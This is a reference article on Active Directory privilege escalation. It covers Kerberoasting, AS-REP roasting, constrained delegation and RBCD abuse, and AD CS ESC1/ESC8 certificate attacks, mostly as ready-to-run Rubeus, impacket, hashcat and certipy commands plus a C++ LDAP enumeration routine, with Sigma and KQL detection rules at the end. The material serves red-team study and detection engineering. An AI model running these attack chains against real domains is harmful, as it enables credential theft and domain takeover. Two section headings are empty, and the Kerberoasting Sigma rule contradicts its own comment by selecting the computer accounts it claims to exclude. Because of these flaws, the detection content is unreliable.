Active Directory Attacks

Active Directory attack chains convert a domain-joined foothold into Domain Admin. The modern chain runs: Kerberoast service account → crack hash offline → request delegation ticket → AD CS ESC1 to issue certificate as DA → authenticate with PKINIT → obtain TGT as DA → DCSync. Each step leverages a misconfiguration rather than a vulnerability, making it representative of real-world enterprise weaknesses that detection engineers must cover.

Kerberoasting

// Kerberoasting with Rubeus (no Mimikatz, no admin):
// Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
// → requests TGS for all accounts with servicePrincipalName set
// → outputs in hashcat $krb5tgs$23$* format (RC4) or $krb5tgs$18$* (AES256)
//
// Targeted (specific SPN):
// Rubeus.exe kerberoast /spn:MSSQLSvc/sql01.corp.local:1433 /outfile:sql.txt
//
// Python (no Windows host needed — from Linux with domain credentials):
// impacket-GetUserSPNs corp.local/user:password -request -dc-ip 10.0.0.1
//
// Hashcat cracking:
// hashcat -a 0 -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
// hashcat -a 3 -m 13100 hashes.txt ?u?l?l?l?l?d?d   (mask attack)

// RC4 downgrade: if service supports RC4, request RC4 TGS even if AES available
// RC4 is 10-100x faster to crack than AES256 offline
// Rubeus: /enctype:rc4 flag forces RC4 TGS-REP
// Detection: TGS-REP with etype 23 (RC4) for account that supports AES = anomaly

AS-REP Roasting

// AS-REP Roasting: accounts with "Do not require Kerberos preauthentication" set
// → KDC sends AS-REP encrypted with account's NT hash WITHOUT verifying requester identity
// → Anyone can request AS-REP for such accounts without knowing credentials
//
// Rubeus: Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
// Impacket: GetNPUsers.py corp.local/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
//
// Hashcat: hashcat -a 0 -m 18200 asrep.txt rockyou.txt
// Hash format: $krb5asrep$23$user@domain:...

// C: AS-REP Roast via DsGetDcNameW + KERB_AS_REQ (complex — typically done via Python/Rubeus)
// LDAP enumeration to find accounts with UF_DONT_REQUIRE_PREAUTH:
// Filter: (userAccountControl:1.2.840.113556.1.4.803:=4194304)
// userAccountControl bit 0x400000 = DONT_REQUIRE_PREAUTH

BOOL FindASREPTargets(const wchar_t* ldapServer, std::vector<std::wstring>& targets) {
    IDirectorySearch* pSearch = NULL;
    ADsOpenObject(ldapServer, NULL, NULL, ADS_SECURE_AUTHENTICATION,
        IID_IDirectorySearch, (void**)&pSearch);
    ADS_SEARCHPREF_INFO prefs[1];
    prefs[0].dwSearchPref = ADS_SEARCHPREF_SEARCH_SCOPE;
    prefs[0].vValue.dwType = ADSTYPE_INTEGER;
    prefs[0].vValue.Integer = ADS_SCOPE_SUBTREE;
    pSearch->SetSearchPreference(prefs, 1);
    ADS_SEARCH_HANDLE hSearch;
    pSearch->ExecuteSearch(
        L"(userAccountControl:1.2.840.113556.1.4.803:=4194304)",
        NULL, 0, &hSearch);
    while (pSearch->GetNextRow(hSearch) != S_ADS_NOMORE_ROWS) {
        ADS_SEARCH_COLUMN col;
        if (SUCCEEDED(pSearch->GetColumn(hSearch, L"sAMAccountName", &col)))
            targets.push_back(col.pADsValues[0].CaseIgnoreString);
    }
    return !targets.empty();
}

Constrained Delegation Abuse

// Constrained delegation: account allowed to impersonate users to specific SPNs
// msDS-AllowedToDelegateTo attribute contains allowed SPN list
// Attacker with control of a constrained-delegation account can impersonate DA to allowed service
//
// S4U2Self + S4U2Proxy (Kerberos extensions):
// S4U2Self: request TGS for YOURSELF to any user (get a ticket as DA for the service account's SPN)
// S4U2Proxy: use that ticket to request TGS for target SPN on behalf of DA
// → get service ticket to CIFS/dc01.corp.local as Domain Admin → access DC shares as DA
//
// Rubeus:
// Rubeus.exe s4u /user:svc_backup /rc4:NTLM_HASH_OF_SVC_BACKUP
//            /impersonateuser:administrator /msdsspn:cifs/dc01.corp.local /ptt
// → injects service ticket as DA → access \\dc01\c$

// Resource-Based Constrained Delegation (RBCD):
// If you have GenericWrite on computer account C:
//   Set msDS-AllowedToActOnBehalfOfOtherIdentity on C to your attacker-controlled computer account
//   Then S4U2Self to get ticket as DA, S4U2Proxy to C → gain access to C as DA
// Required: attacker must control a machine account (or create one via MachineAccountQuota)
// PowerView: Set-DomainObject -Identity C -Set @{msds-allowedtoactonbehalfofotheridentity=...}

ACL Abuse and BloodHound

AD CS / PKI Attacks (ESC1)

// AD CS (Active Directory Certificate Services) ESC1:
// Vulnerable template: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set (requester can specify any SAN)
//   + low-priv users have Enroll permission
//   + template allows Client Authentication EKU
// → Any domain user can enroll and specify SAN=Domain Admin UPN
// → Certificate authenticates as DA via PKINIT
//
// Certipy (Python tool) to find and exploit ESC1:
// certipy find -u user@corp.local -p password -dc-ip 10.0.0.1
//   → lists all templates; flags ESC misconfigs
// certipy req -u user@corp.local -p password -dc-ip 10.0.0.1
//            -ca "corp-CA" -template VulnerableTemplate
//            -upn administrator@corp.local
//   → requests certificate with SAN=administrator@corp.local
// certipy auth -pfx admin.pfx -domain corp.local -dc-ip 10.0.0.1
//   → authenticates via PKINIT → returns TGT + NT hash of DA
//
// ESC8: HTTP-based NTLM relay to AD CS web enrollment
//   → relay credential captured via Responder/mitm6 to CA's /certsrv/certfnsh.asp
//   → get DA certificate via relayed authentication (no cracking needed)
//
// LDAP filter to find ESC1-vulnerable templates:
// (&(objectClass=pKICertificateTemplate)(msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1)
//   (msPKI-RA-Signature=0)(|(pkiExtendedKeyUsage=1.3.6.1.5.5.7.3.2)(pkiExtendedKeyUsage=1.3.6.1.4.1.311.20.2.2)))

Detection Engineering

title: Kerberoasting — Multiple TGS-REP RC4 Requests
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    ServiceName|endswith: '$'  # exclude computer account SPNs
    TicketEncryptionType: '0x17'  # RC4-HMAC
    TicketOptions: '0x40810000'
  timeframe: 5m
  condition: selection | count() by IpAddress > 3
level: high
tags: [attack.credential_access, T1558.003]

title: AS-REP Roasting — AS-REP Without Preauth
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    PreAuthType: '0'  # no preauthentication
  condition: selection
level: medium
tags: [attack.credential_access, T1558.004]

-- MDE KQL: AD CS certificate enrollment requesting UPN of privileged account
DeviceEvents
| where ActionType == "LdapSearch"
| where AdditionalFields has "pKICertificateTemplate"
| project Timestamp, DeviceName, InitiatingProcessFileName, AdditionalFields

IdentityLogonEvents
| where Protocol == "Kerberos"
| where LogonType == "PKINIT"  // certificate-based authentication
| where AccountName in ("administrator", "krbtgt")  // high-value targets
| project Timestamp, AccountName, DeviceName, IPAddress

Q&A